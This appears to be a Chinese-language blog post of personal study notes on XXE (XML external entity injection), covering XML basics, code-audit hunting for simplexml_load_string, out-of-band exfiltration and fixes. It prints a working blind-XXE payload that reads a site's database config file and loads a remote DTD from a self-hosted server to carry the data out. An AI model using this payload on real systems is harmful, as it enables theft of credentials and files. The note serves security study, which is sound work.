XXE - 实体注入

 注意:仅用于本人学习的笔记记录,禁止进行传播分享,一旦造成严重后果与本人无关!!!

一、什么是XXE

XXE的危害和SSRF有点像

XXE => XML外部实体注入

                =>XML

                =>外部实体

                =>注入[用户输入的数据被当做代码进行执行]

二、什么是XML

XML像HTML、传输数据、无预定义(预先定义好的东西)

前端代码:

        <b></b>        加粗而已

XML:

        <b></b>        只是一个名字而已

特点:

XML仅仅是纯文本,他不会做任何事情

XML可以自己发明标签(允许定义自己的标签和文档)

存储数据

三、XXE原理

XML:

<?xml  version="1.0"?>

DTD(通过特殊的命令去其他文件读取信息)

        system

XML部分

危害:

        XXE可以通过dtd去读取、访问其他文件或者网站

XSS平台:

        你打的XSS到目标站点 -> 有人访问后把数据传到平台 -> 记录下来,等你来看

XML:

        请求一个你自己搭建的php文件,其他的文件。(你想要的数据带出来)

        php文件记录请求的传参内容(file_put_contens记录文件)

        等你去看就可以

没有回显,外带出来:

1.获取信息

2.发送信息

PHP伪协议(php的内部协议)

php://filter/read=convert.base64-encode/resource=D:/phpStudy/WWW/xxe170/123.txt

找XXE漏洞

1.看到页面莫名其妙、返回XML代码可以试试

2.代码审计(简单的东西,不复杂,但是繁琐)

        simplexml_load_string()        获取字符串

        simplexml_load_file()        获取文件内容

代码审计:

        1.动态审计(网站装起来,通过特殊手法追踪具体代码流程)

        2.静态审计(纯看)

        3.小技巧:依靠静态看代码,然后不用动态调试软件,直接修改源码进行调试

                die        echo        输出内容

静态:

        1.全文通读        bluecms推荐

        2.危险函数定位eval()        mysqli_query()

演示:

全文查找simplexml_load_string的地方

然后传入xml中的DTD部分

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/phpStudy/WWW/scms/conn/conn.php">
<!ENTITY % remote SYSTEM "http://127.0.0.1:170/1.xml">
%remote;
%send;
]>

替换红色的部分为要读取的路径

替换蓝色的部分为炮台1.xml自己搭建的网址

修复XXE:

1.libxml_disable_entity_loader(true)        php的(禁止加载XML实体)

2.过滤system关键词

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值